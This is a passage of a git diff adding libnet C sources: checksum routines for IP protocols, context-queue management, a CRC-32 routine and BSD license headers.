LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +libnet_ptag_t +libnet_build_vrrp(u_int8_t version, u_int8_t type, u_int8_t vrouter_id, +u_int8_t priority, u_int8_t ip_count, u_int8_t auth_type, u_int8_t advert_int, +u_int16_t sum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag) +{ + u_int32_t n, h; + libnet_pblock_t *p; + struct libnet_vrrp_hdr vrrp_hdr; + + if (l == NULL) + { + return (-1); + } + + n = LIBNET_VRRP_H + payload_s; + h = LIBNET_VRRP_H + payload_s; + + /* + * Find the existing protocol block if a ptag is specified, or create + * a new one. + */ + p = libnet_pblock_probe(l, ptag, n, LIBNET_PBLOCK_VRRP_H); + if (p == NULL) + { + return (-1); + } + + memset(&vrrp_hdr, 0, sizeof(vrrp_hdr)); + vrrp_hdr.vrrp_v = version; + vrrp_hdr.vrrp_t = type; + vrrp_hdr.vrrp_vrouter_id = vrouter_id; + vrrp_hdr.vrrp_priority = priority; + vrrp_hdr.vrrp_ip_count = ip_count; + vrrp_hdr.vrrp_auth_type = auth_type; + vrrp_hdr.vrrp_advert_int = advert_int; + vrrp_hdr.vrrp_sum = (sum ? htons(sum) : 0); + + n = libnet_pblock_append(l, p, (u_int8_t *)&vrrp_hdr, LIBNET_VRRP_H); + if (n == -1) + { + goto bad; + } + + /* boilerplate payload sanity check / append macro */ + LIBNET_DO_PAYLOAD(l, p); + + if (sum == 0) + { + /* + * If checksum is zero, by default libnet will compute a checksum + * for the user. The programmer can override this by calling + * libnet_toggle_checksum(l, ptag, 1); + */ + libnet_pblock_setflags(p, LIBNET_PBLOCK_DO_CHECKSUM); + } + return (ptag ? ptag : libnet_pblock_update(l, p, h, LIBNET_PBLOCK_VRRP_H)); +bad: + libnet_pblock_delete(l, p); + return (-1); +} + +/* EOF */ diff --git a/libnet/src/libnet_checksum.c b/libnet/src/libnet_checksum.c new file mode 100644 index 0000000..bcbe005 --- /dev/null +++ b/libnet/src/libnet_checksum.c @@ -0,0 +1,387 @@ +/* + * $Id: libnet_checksum.c,v 1.14 2004/11/09 07:05:07 mike Exp $ + * + * libnet + * libnet_checksum.c - checksum routines + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +int +libnet_in_cksum(u_int16_t *addr, int len) +{ + int sum; + union + { + u_int16_t s; + u_int8_t b[2]; + }pad; + + sum = 0; + + while (len > 1) + { + sum += *addr++; + len -= 2; + } + + if (len == 1) + { + pad.b[0] = *(u_int8_t *)addr; + pad.b[1] = 0; + sum += pad.s; + } + + return (sum); +} + +int +libnet_toggle_checksum(libnet_t *l, libnet_ptag_t ptag, int mode) +{ + libnet_pblock_t *p; + + p = libnet_pblock_find(l, ptag); + if (p == NULL) + { + /* err msg set in libnet_pblock_find() */ + return (-1); + } + if (mode == LIBNET_ON) + { + if ((p->flags) & LIBNET_PBLOCK_DO_CHECKSUM) + { + return (1); + } + else + { + (p->flags) |= LIBNET_PBLOCK_DO_CHECKSUM; + return (1); + } + } + else + { + if ((p->flags) & LIBNET_PBLOCK_DO_CHECKSUM) + { + (p->flags) &= ~LIBNET_PBLOCK_DO_CHECKSUM; + return (1); + } + else + { + return (1); + } + } +} + + +int +libnet_do_checksum(libnet_t *l, u_int8_t *buf, int protocol, int len) +{ + /* will need to update this for ipv6 at some point */ + struct libnet_ipv4_hdr *iph_p; + struct libnet_ipv6_hdr *ip6h_p; + int is_ipv6; + int ip_hl; + int sum; + + is_ipv6 = 0; /* default to not using IPv6 */ + sum = 0; + iph_p = NULL; + ip6h_p = NULL; + + if (len == 0) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): header length can't be zero\n", __func__); + return (-1); + } + + /* + * Figure out which IP version we're dealing with. We'll assume v4 + * and overlay a header structure to yank out the version. + */ + iph_p = (struct libnet_ipv4_hdr *)buf; + if (iph_p && iph_p->ip_v == 6) + { + ip6h_p = (struct libnet_ipv6_hdr *)buf; + is_ipv6 = 1; + ip_hl = 40; + } + else + { + is_ipv6 = 0; + ip_hl = iph_p->ip_hl << 2; + } + + /* + * Dug Song came up with this very cool checksuming implementation + * eliminating the need for explicit psuedoheader use. Check it out. + */ + switch (protocol) + { + /* + * Style note: normally I don't advocate declaring variables inside + * blocks of control, but it makes good sense here. -- MDS + */ + case IPPROTO_TCP: + { + struct libnet_tcp_hdr *tcph_p = + (struct libnet_tcp_hdr *)(buf + ip_hl); + +#if (STUPID_SOLARIS_CHECKSUM_BUG) + tcph_p->th_sum = tcph_p->th_off << 2; + return (1); +#endif /* STUPID_SOLARIS_CHECKSUM_BUG */ +#if (HAVE_HPUX11) + if (l->injection_type != LIBNET_LINK) + { + /* + * Similiar to the Solaris Checksum bug - but need to add + * the size of the TCP payload (only for raw sockets). + */ + tcph_p->th_sum = (tcph_p->th_off << 2) + + (len - (tcph_p->th_off << 2)); + return (1); + } +#endif + tcph_p->th_sum = 0; + if (is_ipv6) + { + sum = libnet_in_cksum((u_int16_t *)&ip6h_p->ip_src, 32); + } + else + { + sum = libnet_in_cksum((u_int16_t *)&iph_p->ip_src, 8); + } + sum += ntohs(IPPROTO_TCP + len); + sum += libnet_in_cksum((u_int16_t *)tcph_p, len); + tcph_p->th_sum = LIBNET_CKSUM_CARRY(sum); + break; + } + case IPPROTO_UDP: + { + struct libnet_udp_hdr *udph_p = + (struct libnet_udp_hdr *)(buf + ip_hl); + udph_p->uh_sum = 0; + if (is_ipv6) + { + sum = libnet_in_cksum((u_int16_t *)&ip6h_p->ip_src, 32); + } + else + { + sum = libnet_in_cksum((u_int16_t *)&iph_p->ip_src, 8); + } + sum += ntohs(IPPROTO_UDP + len); + sum += libnet_in_cksum((u_int16_t *)udph_p, len); + udph_p->uh_sum = LIBNET_CKSUM_CARRY(sum); + break; + } + case IPPROTO_ICMP: + { + struct libnet_icmpv4_hdr *icmph_p = + (struct libnet_icmpv4_hdr *)(buf + ip_hl); + + icmph_p->icmp_sum = 0; + if (is_ipv6) + { + sum = libnet_in_cksum((u_int16_t *)&ip6h_p->ip_src, 32); + sum += ntohs(IPPROTO_ICMP6 + len); + } + sum += libnet_in_cksum((u_int16_t *)icmph_p, len); + icmph_p->icmp_sum = LIBNET_CKSUM_CARRY(sum); + break; + } + case IPPROTO_IGMP: + { + struct libnet_igmp_hdr *igmph_p = + (struct libnet_igmp_hdr *)(buf + ip_hl); + + igmph_p->igmp_sum = 0; + sum = libnet_in_cksum((u_int16_t *)igmph_p, len); + igmph_p->igmp_sum = LIBNET_CKSUM_CARRY(sum); + break; + } + case IPPROTO_GRE: + { + /* checksum is always at the same place in GRE header + * in the multiple RFC version of the protocol ... ouf !!! + */ + struct libnet_gre_hdr *greh_p = + (struct libnet_gre_hdr *)(buf + ip_hl); + u_int16_t fv = ntohs(greh_p->flags_ver); + if (!(fv & (GRE_CSUM|GRE_ROUTING | GRE_VERSION_0)) || + !(fv & (GRE_CSUM|GRE_VERSION_1))) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): can't compute GRE checksum (wrong flags_ver bits: 0x%x )\n", __func__, fv); + return (-1); + } + sum = libnet_in_cksum((u_int16_t *)greh_p, len); + greh_p->gre_sum = LIBNET_CKSUM_CARRY(sum); + break; + } + case IPPROTO_OSPF: + { + struct libnet_ospf_hdr *oh_p = + (struct libnet_ospf_hdr *)(buf + ip_hl); + + oh_p->ospf_sum = 0; + sum += libnet_in_cksum((u_int16_t *)oh_p, len); + oh_p->ospf_sum = LIBNET_CKSUM_CARRY(sum); + break; + } + case IPPROTO_OSPF_LSA: + { + struct libnet_ospf_hdr *oh_p = + (struct libnet_ospf_hdr *)(buf + ip_hl); + struct libnet_lsa_hdr *lsa_p = + (struct libnet_lsa_hdr *)(buf + + ip_hl + oh_p->ospf_len); + + lsa_p->lsa_sum = 0; + sum += libnet_in_cksum((u_int16_t *)lsa_p, len); + lsa_p->lsa_sum = LIBNET_CKSUM_CARRY(sum); + break; +#if 0 + /* + * Reworked fletcher checksum taken from RFC 1008. + */ + int c0, c1; + struct libnet_lsa_hdr *lsa_p = (struct libnet_lsa_hdr *)buf; + u_int8_t *p, *p1, *p2, *p3; + + c0 = 0; + c1 = 0; + + lsa_p->lsa_cksum = 0; + + p = buf; + p1 = buf; + p3 = buf + len; /* beginning and end of buf */ + + while (p1 < p3) + { + p2 = p1 + LIBNET_MODX; + if (p2 > p3) + { + p2 = p3; + } + + for (p = p1; p < p2; p++) + { + c0 += (*p); + c1 += c0; + } + + c0 %= 255; + c1 %= 255; /* modular 255 */ + + p1 = p2; + } + +#if AWR_PLEASE_REWORK_THIS + lsa_p->lsa_cksum[0] = (((len - 17) * c0 - c1) % 255); + if (lsa_p->lsa_cksum[0] <= 0) + { + lsa_p->lsa_cksum[0] += 255; + } + + lsa_p->lsa_cksum[1] = (510 - c0 - lsa_p->lsa_cksum[0]); + if (lsa_p->lsa_cksum[1] > 255) + { + lsa_p->lsa_cksum[1] -= 255; + } +#endif + break; +#endif + } + case IPPROTO_IP: + { + iph_p->ip_sum = 0; + sum = libnet_in_cksum((u_int16_t *)iph_p, ip_hl); + iph_p->ip_sum = LIBNET_CKSUM_CARRY(sum); + break; + } + case IPPROTO_VRRP: + { + struct libnet_vrrp_hdr *vrrph_p = + (struct libnet_vrrp_hdr *)(buf + ip_hl); + + vrrph_p->vrrp_sum = 0; + sum = libnet_in_cksum((u_int16_t *)vrrph_p, len); + vrrph_p->vrrp_sum = LIBNET_CKSUM_CARRY(sum); + break; + } + case LIBNET_PROTO_CDP: + { /* XXX - Broken: how can we easily get the entire packet size? */ + struct libnet_cdp_hdr *cdph_p = + (struct libnet_cdp_hdr *)buf; + + cdph_p->cdp_sum = 0; + sum = libnet_in_cksum((u_int16_t *)cdph_p, len); + cdph_p->cdp_sum = LIBNET_CKSUM_CARRY(sum); + break; + } + case LIBNET_PROTO_ISL: + { +#if 0 + struct libnet_isl_hdr *islh_p = + (struct libnet_isl_hdr *)buf; +#endif + /* + * Need to compute 4 byte CRC for the ethernet frame and for + * the ISL frame itself. Use the libnet_crc function. + */ + } + default: + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): unsuported protocol %d\n", __func__, protocol); + return (-1); + } + } + return (1); +} + + +u_int16_t +libnet_ip_check(u_int16_t *addr, int len) +{ + int sum; + + sum = libnet_in_cksum(addr, len); + return (LIBNET_CKSUM_CARRY(sum)); +} + +/* EOF */ diff --git a/libnet/src/libnet_cq.c b/libnet/src/libnet_cq.c new file mode 100644 index 0000000..f072534 --- /dev/null +++ b/libnet/src/libnet_cq.c @@ -0,0 +1,397 @@ +/* + * $Id: libnet_cq.c,v 1.11 2004/01/28 19:45:00 mike Exp $ + * + * libnet + * libnet_cq.c - context queue management routines + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * Copyright (c) 2002 Frédéric Raynal <pappy@security-labs.org> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + +/* private function prototypes */ +static libnet_cq_t *libnet_cq_find_internal(libnet_t *); +static int libnet_cq_dup_check(libnet_t *, char *); +static libnet_cq_t *libnet_cq_find_by_label_internal(char *label); + +/* global context queue */ +static libnet_cq_t *l_cq = NULL; +static libnet_cqd_t l_cqd = {0, CQ_LOCK_UNLOCKED, NULL}; + + +static int +set_cq_lock(u_int x) +{ + if (check_cq_lock(x)) + { + return (0); + } + + l_cqd.cq_lock |= x; + return (1); +} + +static int +clear_cq_lock(u_int x) +{ + if (!check_cq_lock(x)) + { + return (0); + } + + l_cqd.cq_lock &= ~x; + return (1); +} + +int +libnet_cq_add(libnet_t *l, char *label) +{ + libnet_cq_t *new; + + if (l == NULL) + { + return (-1); + } + + /* check for write lock on the context queue */ + if (cq_is_wlocked()) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): can't add, context queue is write locked\n", __func__); + return (-1); + } + + /* ensure there is a label */ + if (label == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, "%s(): empty label\n", + __func__); + return (-1); + } + + /* check to see if we're the first node on the list */ + if (l_cq == NULL) + { + l_cq = (libnet_cq_t *)malloc(sizeof (libnet_cq_t)); + if (l_cq == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): can't malloc initial context queue: %s\n", + __func__, strerror(errno)); + return (-1); + } + + l_cq->context = l; + + /* label the context with the user specified string */ + strncpy(l->label, label, LIBNET_LABEL_SIZE); + l->label[LIBNET_LABEL_SIZE] = '\0'; + + l_cq->next = NULL; + l_cq->prev = NULL; + + /* track the number of nodes in the context queue */ + l_cqd.node = 1; + + return (1); + } + + /* check to see if the cq we're about to add is already in the list */ + if (libnet_cq_dup_check(l, label)) + { + /* error message set in libnet_cq_dup_check() */ + return (-1); + } + + new = (libnet_cq_t *)malloc(sizeof (libnet_cq_t)); + if (l_cq == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): can't malloc new context queue: %s\n", + __func__, strerror(errno)); + return (-1); + } + + new->context = l; + + /* label the context with the user specified string */ + strncpy(l->label, label, LIBNET_LABEL_SIZE); + l->label[LIBNET_LABEL_SIZE] = '\0'; + + new->next = l_cq; + new->prev = NULL; + + l_cq->prev = new; + l_cq = new; + + /* track the number of nodes in the context queue */ + l_cqd.node++; + + return (1); +} + +libnet_t * +libnet_cq_remove(libnet_t *l) +{ + libnet_cq_t *p; + libnet_t *ret; + + if (l_cq == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): can't remove from empty context queue\n", __func__); + return (NULL); + } + + if (l == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): can't remove empty libnet context\n", __func__); + return(NULL); + } + + /* check for write lock on the cq */ + if (cq_is_wlocked()) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): can't remove, context queue is write locked\n", + __func__); + return (NULL); + } + + if ((p = libnet_cq_find_internal(l)) == NULL) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): context not present in context queue\n", __func__); + return (NULL); + } + + if (p->prev) + { + p->prev->next = p->next; + } + else + { + l_cq = p->next; + } + if (p->next) + { + p->next->prev = p->prev; + } + + ret = p->context; + free(p); + + /* track the number of nodes in the cq */ + l_cqd.node--; + + return (ret); +} + +libnet_t * +libnet_cq_remove_by_label(char *label) +{ + libnet_cq_t *p; + libnet_t *ret; + + if ((p = libnet_cq_find_by_label_internal(label)) == NULL) + { + /* no context to write an error message */ + return (NULL); + } + + if (cq_is_wlocked()) + { + /* now we have a context, but the user can't see it */ + return (NULL); + } + + if (p->prev) + { + p->prev->next = p->next; + } + else + { + l_cq = p->next; + } + if (p->next) + { + p->next->prev = p->prev; + } + + ret = p->context; + free(p); + + /* track the number of nodes in the cq */ + l_cqd.node--; + + return (ret); +} + +libnet_cq_t * +libnet_cq_find_internal(libnet_t *l) +{ + libnet_cq_t *p; + + for (p = l_cq; p; p = p->next) + { + if (p->context == l) + { + return (p); + } + } + return (NULL); +} + +int +libnet_cq_dup_check(libnet_t *l, char *label) +{ + libnet_cq_t *p; + + for (p = l_cq; p; p = p->next) + { + if (p->context == l) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): context already in context queue\n", __func__); + return (1); + } + if (strncmp(p->context->label, label, LIBNET_LABEL_SIZE) == 0) + { + snprintf(l->err_buf, LIBNET_ERRBUF_SIZE, + "%s(): duplicate label %s\n", __func__, label); + return (1); + } + } + /* no duplicate */ + return (0); +} + +libnet_cq_t * +libnet_cq_find_by_label_internal(char *label) +{ + libnet_cq_t *p; + + if (label == NULL) + { + return (NULL); + } + + for (p = l_cq; p; p = p->next) + { + if (!strncmp(p->context->label, label, LIBNET_LABEL_SIZE)) + { + return (p); + } + } + return (NULL); +} + +libnet_t * +libnet_cq_find_by_label(char *label) +{ + libnet_cq_t *p; + + p = libnet_cq_find_by_label_internal(label); + return (p ? p->context : NULL); +} + +int8_t * +libnet_cq_getlabel(libnet_t *l) +{ + return (l->label); +} + +void +libnet_cq_destroy() +{ + libnet_cq_t *p = l_cq; + libnet_cq_t *tmp; + + while (p) + { + tmp = p; + p = p->next; + libnet_destroy(tmp->context); + free(tmp); + } +} + +libnet_t * +libnet_cq_head() +{ + if (l_cq == NULL) + { + return (NULL); + } + + if (!set_cq_lock(CQ_LOCK_WRITE)) + { + return (NULL); + } + + l_cqd.current = l_cq; + return (l_cqd.current->context); +} + +int +libnet_cq_last() +{ + if (l_cqd.current) + { + return (1); + } + else + { + return (0); + } +} + +libnet_t * +libnet_cq_next() +{ + if (l_cqd.current == NULL) + { + return (NULL); + } + + l_cqd.current = l_cqd.current->next; + return (l_cqd.current ? l_cqd.current->context : NULL); +} + +u_int32_t +libnet_cq_size() +{ + return (l_cqd.node); +} diff --git a/libnet/src/libnet_crc.c b/libnet/src/libnet_crc.c new file mode 100644 index 0000000..f6af690 --- /dev/null +++ b/libnet/src/libnet_crc.c @@ -0,0 +1,113 @@ +/* + * $Id: libnet_crc.c,v 1.5 2004/01/03 20:31:02 mike Exp $ + * + * libnet + * libnet_crc.c - CRC routine + * + * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + +#if (HAVE_CONFIG_H) +#include "../include/config.h" +#endif +#if (!(_WIN32) || (__CYGWIN__)) +#include "../include/libnet.h" +#else +#include "../include/win32/libnet.h" +#endif + + +/* CRC routines based off of sample code in appendix of RFC 2083 */ +static u_int crc_table[256] = +{ + 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, + 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, + 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, + 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, + 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, + 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, + 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, + 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, + 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, + 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, + 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, + 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, + 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, + 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, + 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, + 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, + 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, + 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, + 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, + 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, + 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, + 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, + 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, + 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, + 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, + 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, + 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, + 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, + 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, + 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, + 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, + 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, + 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, + 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, + 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, + 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, + 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, + 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 0x3903b3c2, + 0xa7672661, 0xd06016f7, 0x4969474d, 0x3e6e77db, 0xaed16a4a, 0xd9d65adc, + 0x40df0b66, 0x37d83bf0, 0xa9bcae53, 0xdebb9ec5, 0x47b2cf7f, 0x30b5ffe9, + 0xbdbdf21c, 0xcabac28a, 0x53b39330, 0x24b4a3a6, 0xbad03605, 0xcdd70693, + 0x54de5729, 0x23d967bf, 0xb3667a2e, 0xc4614ab8, 0x5d681b02, 0x2a6f2b94, + 0xb40bbe37, 0xc30c8ea1, 0x5a05df1b, 0x2d02ef8d +}; + + +/* + * Compute the CRC of the contents of a buffer + * + * CRC generator G(x) is the sum of x^n for + * n = 32, 26, 23, 22, 16, 12, 11, 10, 8, 7, 5, 4, 2, 1, 0 + */ +u_int32_t +libnet_compute_crc(u_int8_t *buf, u_int32_t len) +{ + u_int32_t val; + + val = ~0; + while (len--) + { + val = crc_table[(val ^ *buf) & 0xff] ^ (val >> 0x08); + buf++; + } + return (~val); +} + + +/* EOF */ diff --git a/libnet/src/libnet_dll.c b/libnet/src/libnet_dll.c new file mode 100644 index 0000000..cbeb3d1 --- /dev/null +++ b/libnet/src/libnet_dll.c @@ -0,0 +1,47 @@ +/* + * + * libnet + * libnet_dll.c - low-level win32 dll routines + * + * Copyright (c) 2002 Roberto Larcher <roberto.larcher@libero.it> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + */ + 